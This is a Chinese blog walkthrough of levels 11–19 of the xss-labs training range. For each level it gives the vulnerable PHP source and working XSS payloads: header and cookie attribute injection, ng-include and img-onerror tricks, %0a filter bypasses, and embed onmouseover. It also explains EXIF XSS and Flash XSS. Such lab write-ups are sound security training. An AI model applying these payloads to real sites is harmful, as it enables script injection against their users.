xss挑战之旅11-19关

news2025/7/21 4:21:01

文章目录

        • 前言
        • 第11关:referer
        • 第12关:User-Agent
        • 第13关:cookie
        • 第14关:exif xss
        • 第15关:ng-include
        • 第16关
        • 第17关
        • 第18关
        • 第19关:flash xss


前言

靶场:XSS挑战之旅
1-10关
11-20关


第11关:referer

  1. 查看网页源代码
    在这里插入图片描述

  2. 抓包
    在这里插入图片描述

  3. 修改,放包

    Referer: 111" onclick="alert(1)" type="text
    

    在这里插入图片描述

  4. 浏览器效果
    在这里插入图片描述

  5. 下一关
    在这里插入图片描述

  6. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	$str00 = $_GET["t_sort"];
    	$str11=$_SERVER['HTTP_REFERER'];  //可传入的参数,可能需要抓包才能修改
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    	<form id=search>
    	<input name="t_link"  value="'.'" type="hidden">
    	<input name="t_history"  value="'.'" type="hidden">
    	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">  
    	<input name="t_ref"  value="'.$str33.'" type="hidden">  //注入点
    	</form>
    	</center>';
    ?>
    

第12关:User-Agent

  1. 看源码,跟user-agent有关
    在这里插入图片描述

  2. 抓包修改

    User-Agent: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 查看网页源代码,点击输入框即可通关
    在这里插入图片描述

  4. 源码

    <?php 
    	......
    	$str11=$_SERVER['HTTP_USER_AGENT']; //注入点
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	......
    	<input name="t_ua"  value="'.$str33.'" type="hidden">  //能浏览器加载的地方
    	......
    ?>
    

第13关:cookie

  1. 看网页源代码,跟cookie有关
    在这里插入图片描述

  2. 浏览器新建cookie(或者抓包修改也可以)

    user: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 刷新加载
    在这里插入图片描述

  4. 源码

    <?php 
    	setcookie("user", "call me maybe?", time()+3600);
    	......
    	$str11=$_COOKIE["user"]; //注入点
    	......
    	<input name="t_cook"  value="'.$str33.'" type="hidden">
    	......
    ?>
    

第14关:exif xss

  1. emmm,这关需要自己找环境复现。
    在这里插入图片描述

  2. exif xss介绍

    exif

    可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。

    exif xss 原理

    因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。

  3. 制作恶意图片
    截图不行,无法写入
    在这里插入图片描述
    这张图片时手机拍的,可以写入
    在这里插入图片描述

  4. 可以读取exif信息的网址

    https://www.sojson.com/image/exif.html
    

    在这里插入图片描述

    https://exifdata.com/
    

    在这里插入图片描述

第15关:ng-include

  1. ng-include函数

    可以在html文件中包含外部的html文件

    特别注意:

    ng-include,如果单纯指定地址,必须要加引号'
    ng-include,加载外部html,script标签中的内容不执行
    ng-include,加载外部html,含有style标签样式可以识别

  2. 改变参数,观测效果
    在这里插入图片描述

  3. 文件包含进来了,使用',看特别注意1
    在这里插入图片描述
    在这里插入图片描述

  4. 为什么包含php文件也可以?

    应该是把php文件执行后生成的html文件包含进来的。

  5. 加入参数进行测试,有回显
    在这里插入图片描述

  6. 传入<script>alert(1)</script>进行测试,但是不执行,看特别注意2

    ?src='level1.php?name=<script>alert(1)</script>'
    

    在这里插入图片描述

  7. 传入<img src=1 onerror=alert(1)>进行测试,看特别注意3,进入下一关

    ?src='level1.php?name=<img src=1 onerror=alert(1)>'
    

    在这里插入图片描述

  8. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["src"];
    	echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    

第16关

  1. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);  //小写,注入点
    	$str2=str_replace("script","&nbsp;",$str);  //将script替换为&nbsp;  不使用script即可
    	$str3=str_replace(" ","&nbsp;",$str2);  //将空格替换为&nbsp;   用%0a代替
    	$str4=str_replace("/","&nbsp;",$str3);  //将/替换为&nbsp;   可以用单标签进行绕过
    	$str5=str_replace("	","&nbsp;",$str4);  //将空格替换为&nbsp;
    	echo "<center>".$str5."</center>";  //浏览器加载注入代码
    ?>
    
  2. 测试,观测浏览器加载效果和网页源代码
    在这里插入图片描述

  3. payload

    <img src=1 onerror=alert(1)>
    <img src=1 onclick=alert(1)>
    ----------------------------------
    用%0a替换空格
    <img%0asrc=1%0aonerror=alert(1)>
    <img%0asrc=1%0aonclick=alert(1)>
    
  4. onerror事件

    onerror 事件在加载外部文件(文档或图像)发生错误时触发。
    在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。

  5. 下一关
    在这里插入图片描述

第17关

  1. 源码

    <body>
    	<h1 align=center>欢迎来到level17</h1>
    		<?php
    		ini_set("display_errors", 0);
    		echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    		?>
    	<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
    </body>
    
  2. 测试
    在这里插入图片描述

  3. <embed>标签

    引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。

  4. 传入<script>alert(1)</script>进行测试
    在这里插入图片描述

  5. 传入onclick=alert(1)进行测试
    在这里插入图片描述

  6. 进行测试
    在这里插入图片描述

  7. onclick=alert(1)不行,用onmouseover=alert(1)
    在这里插入图片描述

  8. 下一关
    在这里插入图片描述

第18关

  1. 同17关,虽然不支持插件,但是不影响
    在这里插入图片描述

第19关:flash xss

  1. 供参考已复现成功的文章
    XSS-labs Level 19 Flash XSS
    XSS之xss-labs-level19

  2. 本人的尝试失败,以下经验仅供参考

  3. flash xss 原理

    flash有可以调用js的函数,也就是可以和js进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
    常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。

  4. 测试
    在这里插入图片描述

  5. 不能用"在这里插入图片描述

  6. 直接参考别人的payload在这里插入图片描述

  7. 用IE浏览器打开,自动跳转成Microsoft edge,修改设置
    在这里插入图片描述

  8. IE浏览器访问,但是浏览器自动禁止了XSS
    在这里插入图片描述

  9. 没了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/7842.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

『LeetCode|每日一题』---->颜色填充

目录 1.每日一句 2.作者简介 『LeetCode|每日一题』颜色填充 1.每日一题 2.解题思路 2.1 思路分析&#xff08;DFS&#xff09; 2.2 核心代码 2.3 完整代码 2.4 运行结果 1.每日一句 我的宇宙为你藏着无数个星球 2.作者简介 &#x1f3e1;个人主页&#xff1a;XiaoXiaoChe…

Git之路

文章目录指南介绍实战任务一&#xff1a;sb项目任务二&#xff1a;idea实战任务三&#xff1a;分支实战(待续)指南 如果你想在简历上写“会常用的Git的命令“&#xff0c;那么这篇文章值得你要看&#xff0c;那我们需要掌握什么呢&#xff1f;其实会简单的操作就行&#xff0c…

Matplotlib绘图-快速上手可视化工具

Matplotlib快速上手一、初识Matplotlib1.1 认识Matplotlib的图像结构1.2 绘制一个折线图二、给图像添加修饰2.1 自定义x的刻度2.2一图多线2.3一图绘制多个坐标系子图三、主流图形的绘制3.1绘制柱状图一、初识Matplotlib 是Python最常见的可视化工具之一 1.1 认识Matplotlib的…

csrf跨站请求伪造

文章目录csrf跨站请求伪造1、前戏2、csrf校验2.1、from表单如何符合校验2.2、ajax如何符合校验3、csrf相关装饰器FBVCBVcsrf跨站请求伪造 1、前戏 """ 钓鱼网站搭建一个跟正规网站一摸一样的界面&#xff08;中国银行&#xff09;用户进入到我们的网站&#x…

HyperLynx(三十)高速串行总线仿真(二)

高速串行总线仿真&#xff08;二&#xff09; 仿真实例 1.探索多层板中的PCI-E串行通道 2.设置叠层以减小损耗 3.分析通道的不同配置对损耗的影响 4.检测驱动端规范 5.检查接收器规范 6.通过仿真得出整个通道的驱动约束限制 1.探索多层板中的PCI-E串行通道 在本节练习中&…

人工智能学习:Microsoft COCO数据集读取(7)

Microsoft COCO&#xff08;Common Objects in Context&#xff09;是微软研发维护的一个大型的数据集。包含了30多万张图片和91个目标分类。可用于目标识别&#xff08;Object Detection&#xff09;、场景感知&#xff08;Penoptic Segmentation&#xff09;、语义分割&#…

【数据结构】——单链表

目录 1.链表 1.1 链表的概念及结构 1.2 链表的分类 1. 单向或者双向 2. 带头或者不带头 3. 循环或者非循环 1.3实现一个单链表&#xff08;无头单项非循环链表增删查改的实现&#xff09; 1.链表结构的创建 2.创建一个节点 3.创建一个链表 4.打印链表 5…

解读JVM级别本地缓存Caffeine青出于蓝的要诀 —— 缘何会更强、如何去上手

大家好&#xff0c;又见面了。 在前面的几篇文章中&#xff0c;我们一起聊了下本地缓存的动手实现、本地缓存相关的规范等&#xff0c;也聊了下Google的Guava Cache的相关原理与使用方式。比较心急的小伙伴已经坐不住了&#xff0c;提到本地缓存&#xff0c;怎么能不提一下“地…

软考 - 程序语言设计

程序设计语言基本概述 程序设计语言是为了书写计算机程序而人为设计的符号语言&#xff0c;用于对计算过程进行 描述、组织和推导。 低级语言&#xff1a;机器语言&#xff08;计算机硬件只能识别0和1的指令序列&#xff09;&#xff0c;汇编语言。 高级语言&#xff1a;功能…

从http请求过程分析为何不同业务的http请求都可以使用默认的缺省端口80,8080等

问题: http上传请求时url地址中一般无显示指定端口号&#xff0c;这时会使用默认的80端口&#xff1b;但是可能不止一个业务需要用到http请求&#xff0c;技术上web服务端那边肯定无法根据业务逻辑的数据格式去分别解析区分它们&#xff1b;因为业务是事先无法预知的&#xff…

【Spring Cloud实战】Consul服务注册与发现

个人博客上有很多干货&#xff0c;欢迎访问&#xff1a;https://javaxiaobear.gitee.io/ 1、简介 https://www.consul.io/docs/intro Consul is a service mesh solution providing a full featured control plane with service discovery, configuration, and segmentation f…

Flink-经典案例WordCount快速上手以及安装部署

2 Flink快速上手 2.1 批处理api 经典案例WordCount public class BatchWordCount {public static void main(String[] args) throws Exception {//1.创建一个执行环境ExecutionEnvironment env ExecutionEnvironment.getExecutionEnvironment();//2.从文件中读取数据//得到…

[附源码]java毕业设计基于Web留学管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Linux下C++开发笔记--编译静态链接库和动态链接库

目录 1--前言 2--生成静态链接库 3--生成动态链接库 1--前言 承接上一篇Linux下C开发笔记&#xff08;g命令的使用笔记&#xff09;&#xff0c;依据教程记录学习笔记。 2--生成静态链接库 ①回顾项目结构&#xff1a; ​ ②汇编&#xff0c;生成swap.o文件 cd srcg sw…

基于simulink的牛鞭效应模型建模与仿真

欢迎订阅《FPGA学习入门100例教程》、《MATLAB学习入门100例教程》 目录 一、理论基础 二、核心程序 三、测试结果 一、理论基础 牛鞭效应&#xff0c;是经济学中的一个术语&#xff0c;它也被称为需求放大效应。牛鞭效应指的是当信息流从最终客户端传输到原始供应商时&…

9.行为建模(Behavioral modeling)

9.1行为模型概述 Verilog行为模型包含控制模拟和操纵先前描述的数据类型变量的过程语句。这些语句包含在程序中。每个过程都有一个与其关联的活动流。活动开始于initial和always语句。每个initial语句和每个always语句都会启动一个单独的活动流。所有活动流都是并发的&…

【机器学习】线性分类【上】广义线性模型

主要参考了B站UP主“shuhuai008”&#xff0c;包含自己的理解。 有任何的书写错误、排版错误、概念错误等&#xff0c;希望大家包含指正。 由于字数限制&#xff0c;分成两篇博客。 【机器学习】线性分类【上】广义线性模型 【机器学习】线性分类【下】经典线性分类算法 1. 线…

C语言实现线索化二叉树(先序、中序、后序)

》》如何用C语言构建一颗二叉树? 第一种方法: ThreadTree A = (ThreadTree)malloc(sizeof(ThreadNode));A->data = { A };A->ltag = 0;A->rtag = 0;A->lchild = NULL;A->rchild = NULL;ThreadTree B = (ThreadTree)malloc(sizeof(ThreadNode));B->data =…

【python自动化】使用关键字驱动实现appium自动化

在写app自动化用例时&#xff0c;尝试用了关键字驱动的框架 记录一下自己对关键字驱动的理解&#xff1a; 1 关键字驱动指将用例步骤的操作封装为关键字&#xff0c;比如定位元素、点击元素、获取元素属性值、断言&#xff0c;这些都是操作关键字 2 在excel中按照用例执行过程&…

Java8方法引用和Lambda表达式实例源码+笔记分享

前言 Java8的lambda表达式&#xff0c;通过lambda表达式可以替代我们之前写的匿名内部类来实现接口。lambda表达式本质是一个匿名函数。 1、lambda表达式本质是一个匿名函数。 1 package com.demo.main;2 3 public class LambdaMain {4 5 public static void main(String[…